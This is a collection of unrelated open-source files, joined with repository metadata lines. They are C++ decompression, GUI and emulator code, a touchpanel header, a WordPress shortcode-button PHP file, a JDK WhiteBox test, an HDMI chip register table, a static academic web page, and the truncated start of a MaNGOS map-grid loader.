if(inflateInit(&zs) != Z_OK) throw Exception(STRING(DECOMPRESSION_ERROR)); } UnZFilter::~UnZFilter() { dcdebug("UnZFilter end, %ld/%ld = %.04f\n", zs.total_out, zs.total_in, (float)zs.total_out / max((float)zs.total_in, (float)1)); inflateEnd(&zs); } bool UnZFilter::operator()(const void* in, size_t& insize, void* out, size_t& outsize) { if(outsize == 0) return 0; zs.avail_in = insize; zs.next_in = (Bytef*)in; zs.avail_out = outsize; zs.next_out = (Bytef*)out; int err = ::inflate(&zs, Z_NO_FLUSH); // see zlib/contrib/minizip/unzip.c, Z_BUF_ERROR means we should have padded // with a dummy byte if at end of stream - since we don't do this it's not a real // error if(!(err == Z_OK || err == Z_STREAM_END || (err == Z_BUF_ERROR && in == NULL))) throw Exception(STRING(DECOMPRESSION_ERROR)); outsize = outsize - zs.avail_out; insize = insize - zs.avail_in; return err == Z_OK; }
NareshPS/FBLinuxDCPP
client/ZUtils.cpp
C++
gpl-2.0
3,708
/* Copyright (C) 2007 The SpringLobby Team. All rights reserved. */ // #ifndef NO_TORRENT_SYSTEM #ifdef _MSC_VER #ifndef NOMINMAX #define NOMINMAX #endif // NOMINMAX #include <winsock2.h> #endif // _MSC_VER #include <wx/stattext.h> #include <wx/sizer.h> #include <wx/textctrl.h> #include <wx/intl.h> #include <wx/choice.h> #include <wx/statbox.h> #include <wx/event.h> #include <wx/regex.h> #include <wx/checkbox.h> #include "filelistfilter.h" #include "filelistctrl.h" #include "filelistdialog.h" #include "../uiutils.h" #include "../utils/downloader.h" #include "../torrentwrapper.h" /////////////////////////////////////////////////////////////////////////// BEGIN_EVENT_TABLE( FileListFilter, wxPanel ) EVT_CHOICE( FILE_FILTER_TYPE_CHOICE, FileListFilter::OnChangeType ) EVT_TEXT( FILE_FILTER_NAME_EDIT , FileListFilter::OnChangeName ) EVT_CHECKBOX( FILE_FILTER_ONDISK , FileListFilter::OnChangeOndisk ) END_EVENT_TABLE() FileListFilter::FileListFilter( wxWindow* parent, wxWindowID id, FileListDialog* parentBattleListTab, const wxPoint& pos, const wxSize& size, long style ) : wxPanel( parent, id, pos, size, style ), m_parent_filelistdialog( parentBattleListTab ) { wxBoxSizer* m_filter_sizer; m_filter_sizer = new wxBoxSizer( wxVERTICAL ); wxStaticBoxSizer* m_filter_body_sizer; m_filter_body_sizer = new wxStaticBoxSizer( new wxStaticBox( this, -1, wxEmptyString ), wxVERTICAL ); wxBoxSizer* m_filter_body_row1_sizer; m_filter_body_row1_sizer = new wxBoxSizer( wxHORIZONTAL ); m_filter_name_text = new wxStaticText( this, wxID_ANY, _( "Filename:" ), wxDefaultPosition, wxSize( -1,-1 ), 0 ); m_filter_name_text->Wrap( -1 ); m_filter_name_text->SetMinSize( wxSize( 90,-1 ) ); m_filter_body_row1_sizer->Add( m_filter_name_text, 0, wxALL|wxALIGN_CENTER_VERTICAL, 5 ); m_filter_name_edit = new wxTextCtrl( this, FILE_FILTER_NAME_EDIT, _T( "" ), wxDefaultPosition, wxSize( -1,-1 ), 0|wxSIMPLE_BORDER ); m_filter_name_edit->SetFont( wxFont( wxNORMAL_FONT->GetPointSize(), 70, 90, 90, false, wxEmptyString ) ); m_filter_name_edit->SetMinSize( wxSize( 220,-1 ) ); m_filter_name_expression = new wxRegEx( m_filter_name_edit->GetValue(),wxRE_ICASE ); m_filter_body_row1_sizer->Add( m_filter_name_edit, 0, wxALL|wxALIGN_CENTER_VERTICAL, 5 ); wxBoxSizer* m_filter_type_sizer; m_filter_type_sizer = new wxBoxSizer( wxHORIZONTAL ); m_filter_type_text = new wxStaticText( this, wxID_ANY, _( "Filetype:" ), wxDefaultPosition, wxDefaultSize, 0 ); m_filter_type_text->Wrap( -1 ); m_filter_type_sizer->Add( m_filter_type_text, 0, wxALIGN_RIGHT|wxALL|wxALIGN_CENTER_VERTICAL, 5 ); wxBoxSizer* m_filter_ondisk_sizer; m_filter_ondisk_sizer = new wxBoxSizer( wxHORIZONTAL ); m_filter_ondisk = new wxCheckBox( this, FILE_FILTER_ONDISK, _T( "Filter files already on disk" ) ); m_filter_ondisk_sizer->Add( m_filter_ondisk, 0, wxALIGN_CENTER_VERTICAL ); wxString firstChoice = _T( "Any" ); wxArrayString m_filter_type_choiceChoices; m_filter_type_choiceChoices.Add( firstChoice ); m_filter_type_choiceChoices.Add( _( "Map" ) ); m_filter_type_choiceChoices.Add( _( "Game" ) ); m_filter_type_choice = new wxChoice( this, FILE_FILTER_TYPE_CHOICE, wxDefaultPosition, wxDefaultSize, m_filter_type_choiceChoices, wxSIMPLE_BORDER ); m_filter_type_sizer->Add( m_filter_type_choice, 0, wxALIGN_RIGHT|wxALL|wxALIGN_CENTER_VERTICAL, 5 ); m_filter_body_row1_sizer->Add( m_filter_type_sizer, 0, wxEXPAND, 5 ); m_filter_body_row1_sizer->Add( m_filter_ondisk_sizer, 0, wxEXPAND|wxALIGN_CENTER_VERTICAL, 5 ); m_filter_body_sizer->Add( m_filter_body_row1_sizer, 1, wxEXPAND, 5 ); m_filter_sizer->Add( m_filter_body_sizer, 1, wxEXPAND|wxALIGN_CENTER_HORIZONTAL, 5 ); this->SetSizer( m_filter_sizer ); this->Layout(); m_filter_sizer->Fit( this ); delete m_filter_name_expression; m_filter_name_expression = new wxRegEx( m_filter_name_edit->GetValue(),wxRE_ICASE ); m_filter_type_choice_value = -1; wxCommandEvent dummy; OnChange( dummy ); } bool FileListFilter::DoFilterResource( const PlasmaResourceInfo& /*info*/ ) { // if(!data.ok())return false; // if ( data->name.Upper().Find( m_filter_name_edit->GetValue().Upper() ) == wxNOT_FOUND // && !m_filter_name_expression->Matches( data->name ) ) // return false; // if ( m_filter_type_choice_value == 0 && data->type != SpringUnitSync::map ) return false; // // if ( m_filter_type_choice_value == 1 && data->type != SpringUnitSync::mod ) return false; // // if ( m_filter_ondisk->IsChecked() && data->HasFullFileLocal() ) // return false; return false; } void FileListFilter::OnChange( wxCommandEvent& ) { //needs dummy event data m_parent_filelistdialog->UpdateList( GlobalEvents::GlobalEventData() ); } void FileListFilter::OnChangeName( wxCommandEvent& event ) { delete m_filter_name_expression; m_filter_name_expression = new wxRegEx( m_filter_name_edit->GetValue(),wxRE_ICASE ); OnChange( event ); } void FileListFilter::OnChangeType( wxCommandEvent& event ) { m_filter_type_choice_value = m_filter_type_choice->GetSelection()-1; OnChange( event ); } void FileListFilter::OnChangeOndisk( wxCommandEvent& event ) { OnChange( event ); } #endif
N2maniac/springlobby-join-fork
src/filelister/filelistfilter.cpp
C++
gpl-2.0
5,177
#ifndef TOUCHPANEL_H__ #define TOUCHPANEL_H__ /* Pre-defined definition */ /* Register */ #define FD_ADDR_MAX 0xE9 #define FD_ADDR_MIN 0xDD #define FD_BYTE_COUNT 6 #define CUSTOM_MAX_WIDTH (720) #define CUSTOM_MAX_HEIGHT (1280) //#define TPD_UPDATE_FIRMWARE #define TPD_HAVE_BUTTON #define TPD_BUTTON_HEIGH (100) #define TPD_KEY_COUNT 3 #define TPD_KEYS { KEY_MENU, KEY_HOMEPAGE, KEY_BACK} #define TPD_KEYS_DIM {{145,1330,120,TPD_BUTTON_HEIGH},\ {360,1330,120,TPD_BUTTON_HEIGH},\ {600,1330,120,TPD_BUTTON_HEIGH}} #define TPD_POWER_SOURCE_CUSTOM MT65XX_POWER_LDO_VGP5 //#define TPD_HAVE_CALIBRATION //#define TPD_CALIBRATION_MATRIX {2680,0,0,0,2760,0,0,0}; //#define TPD_WARP_START //#define TPD_WARP_END //#define TPD_RESET_ISSUE_WORKAROUND //#define TPD_MAX_RESET_COUNT 3 //#define TPD_WARP_Y(y) ( TPD_Y_RES - 1 - y ) //#define TPD_WARP_X(x) ( x ) #endif /* TOUCHPANEL_H__ */
kashifmin/KashKernel_MT6589
mediatek/custom/s9204/kernel/touchpanel/S3203/tpd_custom_s3203.h
C
gpl-2.0
951
<?php //add a button to the content editor, next to the media button //this button will show a popup that contains inline content add_action('media_buttons_context', 'add_my_custom_button'); //add some content to the bottom of the page //This will be shown in the inline modal if(is_admin()){ add_action('admin_footer', 'add_inline_popup_content'); } //action to add a custom button to the content editor function add_my_custom_button($context) { //path to my icon $img = get_template_directory_uri() .'/images/shortcode_button.png'; //our popup's title $title = __('Cosmone Shortcodes','cosmone'); //append the icon $context .= "<a class='cosmone_shortcodes' title='{$title}'><img src='{$img}' /></a>"; return $context; } function add_inline_popup_content() { global $cosmone_shortcodes ; ?> <div class="white-popup cosmone_shortcodes_container mfp-with-anim mfp-hide" id="cosmone_shortcodes_container" style="" > <form> <h4><?php _e("MageeWP Shortcodes Generator",'cosmone');?></h4> <ul class="cosmone_shortcodes_list"> <?php if(is_array($cosmone_shortcodes )):foreach($cosmone_shortcodes as $key => $val){ if(in_array($key ,array("testimonial_item","pricing_row",'tab','accordion'))){continue;} ?> <li><a class='cosmone_shortcode_item <?php echo $key;?>' title='<?php echo ucwords(str_replace("_"," ",$key));?>' data-shortcode="<?php echo $key;?>" href="javascript:;"><?php echo ucwords(str_replace("_"," ",$key));?></a></li> <?php } ?> <?php endif;?> </ul> <div id="cosmone-shortcodes-settings"> <div id="cosmone-generator-breadcrumbs"> <a title="Click to return to the shortcodes list" class="cosmone-shortcodes-home" href="javascript:void(0);"><?php _e("All shortcodes",'cosmone');?></a> &rarr; <span class="current_shortcode"></span> <div class="clear"></div> </div> <div id="cosmone-shortcodes-settings-inner"></div> <input name="cosmone-shortcode" type="hidden" id="cosmone-shortcode" value="" /> <input name="cosmone-shortcode-textarea" type="hidden" id="cosmone-shortcode-textarea" value="" /> <div class="cosmone-shortcode-actions cosmone-shortcode-clearfix"> <!--<a class="button button-secondary button-large cosmone-shortcode-preview " href="javascript:void(0);"><?php _e("Preview shortcode",'cosmone');?></a>--> <a class="button button-primary button-large cosmone-shortcode-insert " href="javascript:void(0);"><?php _e("Insert shortcode",'cosmone');?></a> </div> <div class="clear"></div> </div></form> <div class="clear"></div> </div> <div id="cosmone-shortcode-preview" style="display:none;"> </div> <?php } ?>
emanuelefrasca/emanuelefrasca_local_wp_slideshow
wp-content/themes/cosmone/includes/shortcode-media-button.php
PHP
gpl-2.0
2,726
/* * Copyright (c) 2013, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ /* * @test SetDontInlineMethodTest * @compile -J-XX:+UnlockDiagnosticVMOptions -J-XX:+WhiteBoxAPI CompilerWhiteBoxTest.java * @compile -J-XX:+UnlockDiagnosticVMOptions -J-XX:+WhiteBoxAPI SetDontInlineMethodTest.java * @run main/othervm -XX:+UnlockDiagnosticVMOptions -XX:+WhiteBoxAPI SetDontInlineMethodTest * @author [email protected] */ public class SetDontInlineMethodTest extends CompilerWhiteBoxTest { public static void main(String[] args) throws Exception { new SetDontInlineMethodTest().runTest(); } protected void test() throws Exception { if (WHITE_BOX.setDontInlineMethod(METHOD, true)) { throw new RuntimeException("on start " + METHOD + " must be inlineable"); } if (!WHITE_BOX.setDontInlineMethod(METHOD, true)) { throw new RuntimeException("after first change to true " + METHOD + " must be not inlineable"); } if (!WHITE_BOX.setDontInlineMethod(METHOD, false)) { throw new RuntimeException("after second change to true " + METHOD + " must be still not inlineable"); } if (WHITE_BOX.setDontInlineMethod(METHOD, false)) { throw new RuntimeException("after first change to false" + METHOD + " must be inlineable"); } if (WHITE_BOX.setDontInlineMethod(METHOD, false)) { throw new RuntimeException("after second change to false " + METHOD + " must be inlineable"); } } }
karianna/jdk8_tl
hotspot/test/compiler/whitebox/SetDontInlineMethodTest.java
Java
gpl-2.0
2,613
/* Copyright (C) 2013 Stephen Robinson This file is part of HDMI-Light HDMI-Light is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version. HDMI-Light is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this code (see the file names COPING). If not, see <http://www.gnu.org/licenses/>. */ struct ConfigTable { unsigned char address; unsigned char subaddress; unsigned char data; }; static const struct ConfigTable g_configTablePreEdid[] PROGMEM = { { 0x98, 0xF4, 0x80 }, // CEC { 0x98, 0xF5, 0x7C }, // INFOFRAME { 0x98, 0xF8, 0x4C }, // DPLL { 0x98, 0xF9, 0x64 }, // KSV { 0x98, 0xFA, 0x6C }, // EDID { 0x98, 0xFB, 0x68 }, // HDMI { 0x98, 0xFD, 0x44 }, // CP { 0x64, 0x77, 0x00 }, // Disable the Internal EDID { 0x00 } }; static const struct ConfigTable g_configTablePostEdid[] PROGMEM = { { 0x64, 0x77, 0x00 }, // Set the Most Significant Bit of the SPA location to 0 { 0x64, 0x52, 0x20 }, // Set the SPA for port B. { 0x64, 0x53, 0x00 }, // Set the SPA for port B. { 0x64, 0x70, 0x9E }, // Set the Least Significant Byte of the SPA location { 0x64, 0x74, 0x03 }, // Enable the Internal EDID for Ports { 0x98, 0x01, 0x06 }, // Prim_Mode =110b HDMI-GR { 0x98, 0x02, 0xF2 }, // Auto CSC, YCrCb out, Set op_656 bit { 0x98, 0x03, 0x40 }, // 24 bit SDR 444 Mode 0 { 0x98, 0x05, 0x28 }, // AV Codes Off { 0x98, 0x0B, 0x44 }, // Power up part { 0x98, 0x0C, 0x42 }, // Power up part { 0x98, 0x14, 0x55 }, // Min Drive Strength { 0x98, 0x15, 0x80 }, // Disable Tristate of Pins { 0x98, 0x19, 0x85 }, // LLC DLL phase { 0x98, 0x33, 0x40 }, // LLC DLL enable { 0x44, 0xBA, 0x01 }, // Set HDMI FreeRun { 0x64, 0x40, 0x81 }, // Disable HDCP 1.1 features { 0x68, 0x9B, 0x03 }, // ADI recommended setting { 0x68, 0xC1, 0x01 }, // ADI recommended setting { 0x68, 0xC2, 0x01 }, // ADI recommended setting { 0x68, 0xC3, 0x01 }, // ADI recommended setting { 0x68, 0xC4, 0x01 }, // ADI recommended setting { 0x68, 0xC5, 0x01 }, // ADI recommended setting { 0x68, 0xC6, 0x01 }, // ADI recommended setting { 0x68, 0xC7, 0x01 }, // ADI recommended setting { 0x68, 0xC8, 0x01 }, // ADI recommended setting { 0x68, 0xC9, 0x01 }, // ADI recommended setting { 0x68, 0xCA, 0x01 }, // ADI recommended setting { 0x68, 0xCB, 0x01 }, // ADI recommended setting { 0x68, 0xCC, 0x01 }, // ADI recommended setting { 0x68, 0x00, 0x00 }, // Set HDMI Input Port A { 0x68, 0x83, 0xFE }, // Enable clock terminator for port A { 0x68, 0x6F, 0x0C }, // ADI recommended setting { 0x68, 0x85, 0x1F }, // ADI recommended setting { 0x68, 0x87, 0x70 }, // ADI recommended setting { 0x68, 0x8D, 0x04 }, // LFG { 0x68, 0x8E, 0x1E }, // HFG { 0x68, 0x1A, 0x8A }, // unmute audio { 0x68, 0x57, 0xDA }, // ADI recommended setting { 0x68, 0x58, 0x01 }, // ADI recommended setting { 0x68, 0x75, 0x10 }, // DDC drive strength { 0x98, 0x40, 0xE2 }, // INT1 active high, active until cleared { 0x00 } };
esar/hdmilight-v2
firmware/config_hdmi.h
C
gpl-2.0
3,439
<!DOCTYPE html><html lang="en-us" > <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="generator" content="Source Themes Academic 4.8.0"> <meta name="author" content="Isabela Le Bras"> <meta name="description" content="Assistant Scientist&lt;br /&gt;Physical Oceanography Department"> <link rel="alternate" hreflang="en-us" href="https://ilebras.github.io/author/m-s-lozier/"> <meta name="theme-color" content="#2962ff"> <script src="/js/mathjax-config.js"></script> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/academicons/1.8.6/css/academicons.min.css" integrity="sha256-uFVgMKfistnJAfoCUQigIl+JfUaP47GrRKjf6CTPVmw=" crossorigin="anonymous"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.12.0-1/css/all.min.css" integrity="sha256-4w9DunooKSr3MFXHXWyFER38WmPdm361bQS/2KUWZbU=" crossorigin="anonymous"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.5.7/jquery.fancybox.min.css" integrity="sha256-Vzbj7sDDS/woiFS3uNKo8eIuni59rjyNGtXfstRzStA=" crossorigin="anonymous"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.18.1/styles/github.min.css" crossorigin="anonymous" title="hl-light"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.18.1/styles/dracula.min.css" crossorigin="anonymous" title="hl-dark" disabled> <script src="https://cdnjs.cloudflare.com/ajax/libs/lazysizes/5.1.2/lazysizes.min.js" integrity="sha256-Md1qLToewPeKjfAHU1zyPwOutccPAm5tahnaw7Osw0A=" crossorigin="anonymous" async></script> <script src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js" integrity="" crossorigin="anonymous" async></script> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Montserrat:400,700%7CRoboto:400,400italic,700%7CRoboto+Mono&display=swap"> <link rel="stylesheet" href="/css/academic.css"> <link rel="alternate" href="/author/m-s-lozier/index.xml" type="application/rss+xml" title="Isabela Le Bras @ WHOI"> <link rel="manifest" href="/index.webmanifest"> <link rel="icon" type="image/png" href="/images/icon_hu7732e1026a0bb9a199bd2a822c780345_104731_32x32_fill_lanczos_center_2.png"> <link rel="apple-touch-icon" type="image/png" href="/images/icon_hu7732e1026a0bb9a199bd2a822c780345_104731_192x192_fill_lanczos_center_2.png"> <link rel="canonical" href="https://ilebras.github.io/author/m-s-lozier/"> <meta property="twitter:card" content="summary"> <meta property="og:site_name" content="Isabela Le Bras @ WHOI"> <meta property="og:url" content="https://ilebras.github.io/author/m-s-lozier/"> <meta property="og:title" content="M S Lozier | Isabela Le Bras @ WHOI"> <meta property="og:description" content="Assistant Scientist&lt;br /&gt;Physical Oceanography Department"><meta property="og:image" content="https://ilebras.github.io/images/icon_hu7732e1026a0bb9a199bd2a822c780345_104731_512x512_fill_lanczos_center_2.png"> <meta property="twitter:image" content="https://ilebras.github.io/images/icon_hu7732e1026a0bb9a199bd2a822c780345_104731_512x512_fill_lanczos_center_2.png"><meta property="og:locale" content="en-us"> <meta property="og:updated_time" content="2019-02-01T00:00:00&#43;00:00"> <title>M S Lozier | Isabela Le Bras @ WHOI</title> </head> <body id="top" data-spy="scroll" data-offset="70" data-target="#TableOfContents" > <aside class="search-results" id="search"> <div class="container"> <section class="search-header"> <div class="row no-gutters justify-content-between mb-3"> <div class="col-6"> <h1>Search</h1> </div> <div class="col-6 col-search-close"> <a class="js-search" href="#"><i class="fas fa-times-circle text-muted" aria-hidden="true"></i></a> </div> </div> <div id="search-box"> <input name="q" id="search-query" placeholder="Search..." autocapitalize="off" autocomplete="off" autocorrect="off" spellcheck="false" type="search" class="form-control"> </div> </section> <section class="section-search-results"> <div id="search-hits"> </div> </section> </div> </aside> <nav class="navbar navbar-expand-lg navbar-light compensate-for-scrollbar" id="navbar-main"> <div class="container"> <div class="d-none d-lg-inline-flex"> <a class="navbar-brand" href="/">Isabela Le Bras @ WHOI</a> </div> <button type="button" class="navbar-toggler" data-toggle="collapse" data-target="#navbar-content" aria-controls="navbar" aria-expanded="false" aria-label="Toggle navigation"> <span><i class="fas fa-bars"></i></span> </button> <div class="navbar-brand-mobile-wrapper d-inline-flex d-lg-none"> <a class="navbar-brand" href="/">Isabela Le Bras @ WHOI</a> </div> <div class="navbar-collapse main-menu-item collapse justify-content-end" id="navbar-content"> <ul class="navbar-nav d-md-inline-flex"> <li class="nav-item"> <a class="nav-link " href="/#about"><span>Home</span></a> </li> <li class="nav-item"> <a class="nav-link " href="/#projects"><span>Research</span></a> </li> <li class="nav-item"> <a class="nav-link " href="/#publications"><span>Publications</span></a> </li> <li class="nav-item"> <a class="nav-link " href="/join"><span>Join</span></a> </li> <li class="nav-item"> <a class="nav-link " href="/#contact"><span>Contact</span></a> </li> </ul> </div> <ul class="nav-icons navbar-nav flex-row ml-auto d-flex pl-md-2"> <li class="nav-item"> <a class="nav-link js-search" href="#" aria-label="Search"><i class="fas fa-search" aria-hidden="true"></i></a> </li> <li class="nav-item dropdown theme-dropdown"> <a href="#" class="nav-link js-theme-selector" data-toggle="dropdown" aria-haspopup="true"> <i class="fas fa-palette" aria-hidden="true"></i> </a> <div class="dropdown-menu"> <a href="#" class="dropdown-item js-set-theme-light"> <span>Light</span> </a> <a href="#" class="dropdown-item js-set-theme-dark"> <span>Dark</span> </a> <a href="#" class="dropdown-item js-set-theme-auto"> <span>Automatic</span> </a> </div> </li> </ul> </div> </nav> <div class="universal-wrapper pt-3"> <h1>M S Lozier</h1> </div> <section id="profile-page" class="pt-5"> <div class="container"> <div class="article-widget content-widget-hr"> <h3>Latest</h3> <ul> <li> <a href="/publication/lozier-2019/">A sea change in our view of overturning in the subpolar North Atlantic.</a> </li> </ul> </div> </div> </section> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js" integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0=" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.imagesloaded/4.1.4/imagesloaded.pkgd.min.js" integrity="sha256-lqvxZrPLtfffUl2G/e7szqSvPBILGbwmsGE1MKlOi0Q=" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.isotope/3.0.6/isotope.pkgd.min.js" integrity="sha256-CBrpuqrMhXwcLLUd5tvQ4euBHCdh7wGlDfNz8vbu/iI=" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.5.7/jquery.fancybox.min.js" integrity="sha256-yt2kYMy0w8AbtF89WXb2P1rfjcP/HTHLT7097U8Y5b8=" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/instant.page/5.1.0/instantpage.min.js" integrity="sha512-1+qUtKoh9XZW7j+6LhRMAyOrgSQKenQ4mluTR+cvxXjP1Z54RxZuzstR/H9kgPXQsVB8IW7DMDFUJpzLjvhGSQ==" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.18.1/highlight.min.js" integrity="sha256-eOgo0OtLL4cdq7RdwRUiGKLX9XsIJ7nGhWEKbohmVAQ=" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.18.1/languages/r.min.js"></script> <script async defer src="https://maps.googleapis.com/maps/api/js?key="></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/gmaps.js/0.4.25/gmaps.min.js" integrity="sha256-7vjlAeb8OaTrCXZkCNun9djzuB2owUsaO72kXaFDBJs=" crossorigin="anonymous"></script> <script>const code_highlighting = true;</script> <script>const isSiteThemeDark = false;</script> <script> const search_config = {"indexURI":"/index.json","minLength":1,"threshold":0.3}; const i18n = {"no_results":"No results found","placeholder":"Search...","results":"results found"}; const content_type = { 'post': "Posts", 'project': "Projects", 'publication' : "Publications", 'talk' : "Talks", 'slides' : "Slides" }; </script> <script id="search-hit-fuse-template" type="text/x-template"> <div class="search-hit" id="summary-{{key}}"> <div class="search-hit-content"> <div class="search-hit-name"> <a href="{{relpermalink}}">{{title}}</a> <div class="article-metadata search-hit-type">{{type}}</div> <p class="search-hit-description">{{snippet}}</p> </div> </div> </div> </script> <script src="https://cdnjs.cloudflare.com/ajax/libs/fuse.js/3.2.1/fuse.min.js" integrity="sha256-VzgmKYmhsGNNN4Ph1kMW+BjoYJM2jV5i4IlFoeZA9XI=" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/mark.js/8.11.1/jquery.mark.min.js" integrity="sha256-4HLtjeVgH0eIB3aZ9mLYF6E8oU5chNdjU6p6rrXpl9U=" crossorigin="anonymous"></script> <script src="/js/academic.min.66c553246b0f279a03be6e5597f72b52.js"></script> <div class="container"> <footer class="site-footer"> <p class="powered-by"> © 2020 </p> <p class="powered-by"> Published with <a href="https://sourcethemes.com/academic/" target="_blank" rel="noopener">Academic Website Builder</a> <span class="float-right" aria-hidden="true"> <a href="#" class="back-to-top"> <span class="button_icon"> <i class="fas fa-chevron-up fa-2x"></i> </span> </a> </span> </p> </footer> </div> <div id="modal" class="modal fade" role="dialog"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">Cite</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">&times;</span> </button> </div> <div class="modal-body"> <pre><code class="tex hljs"></code></pre> </div> <div class="modal-footer"> <a class="btn btn-outline-primary my-1 js-copy-cite" href="#" target="_blank"> <i class="fas fa-copy"></i> Copy </a> <a class="btn btn-outline-primary my-1 js-download-cite" href="#" target="_blank"> <i class="fas fa-download"></i> Download </a> <div id="modal-error"></div> </div> </div> </div> </div> </body> </html>
ilebras/ilebras.github.io
author/m-s-lozier/index.html
HTML
gpl-2.0
13,919
/* * UAE - The Un*x Amiga Emulator * * Sound emulation stuff * * Copyright 1995, 1996, 1997 Bernd Schmidt */ #ifndef UAE_AUDIO_H #define UAE_AUDIO_H #define PERIOD_MAX ULONG_MAX extern void aud0_handler (void); extern void aud1_handler (void); extern void aud2_handler (void); extern void aud3_handler (void); extern void AUDxDAT (int nr, uae_u16 value); extern void AUDxDAT_addr (int nr, uae_u16 value, uaecptr addr); extern void AUDxVOL (int nr, uae_u16 value); extern void AUDxPER (int nr, uae_u16 value); extern void AUDxLCH (int nr, uae_u16 value); extern void AUDxLCL (int nr, uae_u16 value); extern void AUDxLEN (int nr, uae_u16 value); extern uae_u16 audio_dmal (void); extern void audio_state_machine (void); extern uaecptr audio_getpt (int nr, bool reset); extern int init_audio (void); extern void ahi_install (void); extern void audio_reset (void); extern void update_audio (void); extern void audio_evhandler (void); extern void audio_hsync (void); extern void audio_update_adkmasks (void); extern void update_sound (double freq, int longframe, int linetoggle); extern void led_filter_audio (void); extern void set_audio (void); extern int audio_activate (void); extern void audio_vsync (void); void switch_audio_interpol (void); extern int sound_available; extern void audio_sampleripper(int); extern int sampleripper_enabled; //extern void write_wavheader (struct zfile *wavfile, uae_u32 size, uae_u32 freq); enum { SND_MONO, SND_STEREO, SND_4CH_CLONEDSTEREO, SND_4CH, SND_6CH_CLONEDSTEREO, SND_6CH, SND_NONE }; STATIC_INLINE int get_audio_stereomode (int channels) { switch (channels) { case 1: return SND_MONO; case 2: return SND_STEREO; case 4: return SND_4CH; case 6: return SND_6CH; } return SND_STEREO; } STATIC_INLINE int get_audio_nativechannels (int stereomode) { int ch[] = { 1, 2, 4, 4, 6, 6, 0 }; return ch[stereomode]; } STATIC_INLINE int get_audio_amigachannels (int stereomode) { int ch[] = { 1, 2, 2, 4, 2, 4, 0 }; return ch[stereomode]; } STATIC_INLINE int get_audio_ismono (int stereomode) { if (stereomode == 0) return 1; return 0; } #define SOUND_MAX_DELAY_BUFFER 1024 #define SOUND_MAX_LOG_DELAY 10 #define MIXED_STEREO_MAX 16 #define MIXED_STEREO_SCALE 32 #endif /* UAE_AUDIO_H */
cstefansen/PUAE
src/include/audio.h
C
gpl-2.0
2,294
/* * Copyright (C) 2005-2011 MaNGOS <http://getmangos.com/> * Copyright (C) 2009-2011 MaNGOSZero <https://github.com/mangos/zero> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include "MapManager.h" #include "Log.h" #include "GridStates.h" #include "CellImpl.h" #include "Map.h" #include "DBCEnums.h" #include "DBCStores.h" #include "GridMap.h" #include "VMapFactory.h" #include "World.h" #include "Policies/SingletonImp.h" #include "Util.h" char const* MAP_MAGIC = "MAPS"; char const* MAP_VERSION_MAGIC = "10.1"; char const* MAP_AREA_MAGIC = "AREA"; char const* MAP_HEIGHT_MAGIC = "MHGT"; char const* MAP_LIQUID_MAGIC = "MLIQ"; GridMap::GridMap() { m_flags = 0; // Area data m_gridArea = 0; m_area_map = NULL; // Height level data m_gridHeight = INVALID_HEIGHT_VALUE; m_gridGetHeight = &GridMap::getHeightFromFlat; m_V9 = NULL; m_V8 = NULL; // Liquid data m_liquidType = 0; m_liquid_offX = 0; m_liquid_offY = 0; m_liquid_width = 0; m_liquid_height = 0; m_liquidLevel = INVALID_HEIGHT_VALUE; m_liquid_type = NULL; m_liquid_map = NULL; } GridMap::~GridMap() { unloadData(); } bool GridMap::loadData(char *filename) { // Unload old data if exist unloadData(); GridMapFileHeader header; // Not return error if file not found FILE *in = fopen(filename, "rb"); if (!in) return true; fread(&header, 